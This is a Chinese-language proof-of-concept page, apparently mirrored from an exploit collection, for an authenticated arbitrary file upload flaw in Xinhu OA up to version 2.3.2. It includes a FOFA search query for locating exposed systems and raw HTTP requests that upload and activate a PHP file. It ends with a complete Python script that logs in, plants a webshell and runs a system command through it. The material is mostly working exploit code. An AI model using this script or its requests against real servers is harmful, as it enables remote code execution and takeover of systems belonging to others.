mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
122 lines
3.5 KiB
Markdown
122 lines
3.5 KiB
Markdown
|
|
# 信呼OA qcloudCosAction.php 任意文件上传漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
信呼 OA <=v2.3.2 版本在`webmain\task\runt\qcloudCosAction.php`云存储下调用了`qcloudCosClassAction`方法,导致文件上传漏洞。通过该漏洞,攻击者可突破上传限制,上传 php 文件获取服务器shell。
|
|||
|
|
|
|||
|
|
利用前提是已经获取了用户名/登陆口令。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://github.com/rainrocka/xinhu
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
信呼OA <= 2.3.2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="信呼协同办公系统"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登陆页面:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
登陆系统,找到上传点:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
任务资源 → 文件传送 → 相关文件
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
上传1.php,记录filepath和id:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=769871 HTTP/1.1
|
|||
|
|
Host: www.xinhu2.com
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Content-Type:multipart/form-data; boundary=
|
|||
|
|
---------------------------40605609116060410203660967062
|
|||
|
|
Content-Length: 250
|
|||
|
|
Origin: http://www.xinhu2.com
|
|||
|
|
Connection: close
|
|||
|
|
Referer:http://www.xinhu2.com/index.php?m=upload&d=public&callback=&upkey=20220513091317429617&showid=fileidview
|
|||
|
|
Cookie:deviceid=1650359786139;xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03;xinhu_ca_adminuser=admin;xinhu_ca_rempass=0;PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
|
|||
|
|
-----------------------------40605609116060410203660967062
|
|||
|
|
Content-Disposition: form-data; name="file"; filename="1.php"
|
|||
|
|
Content-Type: application/octet-stream
|
|||
|
|
|
|||
|
|
<?php phpinfo(); ?>
|
|||
|
|
|
|||
|
|
-----------------------------40605609116060410203660967062--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
查看1.php是否上传成功:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /task.php?m=qcloudCos|runt&a=run&fileid=9 HTTP/1.1
|
|||
|
|
Host: www.xinhu2.com
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Connection: close
|
|||
|
|
Cookie: deviceid=1650359786139; xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
上传后路径:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
http://<IP>/upload/2024-01/23_16071247.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
poc.py
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
# 1.php为webshell
|
|||
|
|
|
|||
|
|
# 需要修改以下内容:
|
|||
|
|
# url_pre = 'http://<IP>/'
|
|||
|
|
# 'adminuser': '<ADMINUSER_BASE64>',
|
|||
|
|
# 'adminpass': '<ADMINPASS_BASE64>',
|
|||
|
|
|
|||
|
|
import requests
|
|||
|
|
|
|||
|
|
session = requests.session()
|
|||
|
|
url_pre = 'http://<IP>/'
|
|||
|
|
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
|
|||
|
|
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
|
|||
|
|
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
|
|||
|
|
data1 = {
|
|||
|
|
'rempass': '0',
|
|||
|
|
'jmpass': 'false',
|
|||
|
|
'device': '1625884034525',
|
|||
|
|
'ltype': '0',
|
|||
|
|
'adminuser': '<ADMINUSER_BASE64>',
|
|||
|
|
'adminpass': '<ADMINPASS_BASE64>',
|
|||
|
|
'yanzm': ''
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
r = session.post(url1, data=data1)
|
|||
|
|
r = session.post(url2, files={'file': open('1.php', 'r+')})
|
|||
|
|
filepath = str(r.json()['filepath'])
|
|||
|
|
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
|
|||
|
|
print(filepath)
|
|||
|
|
id = r.json()['id']
|
|||
|
|
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
|
|||
|
|
r = session.get(url3)
|
|||
|
|
r = session.get(url_pre + filepath + "?1=system('dir');")
|
|||
|
|
print(r.text)
|
|||
|
|
```
|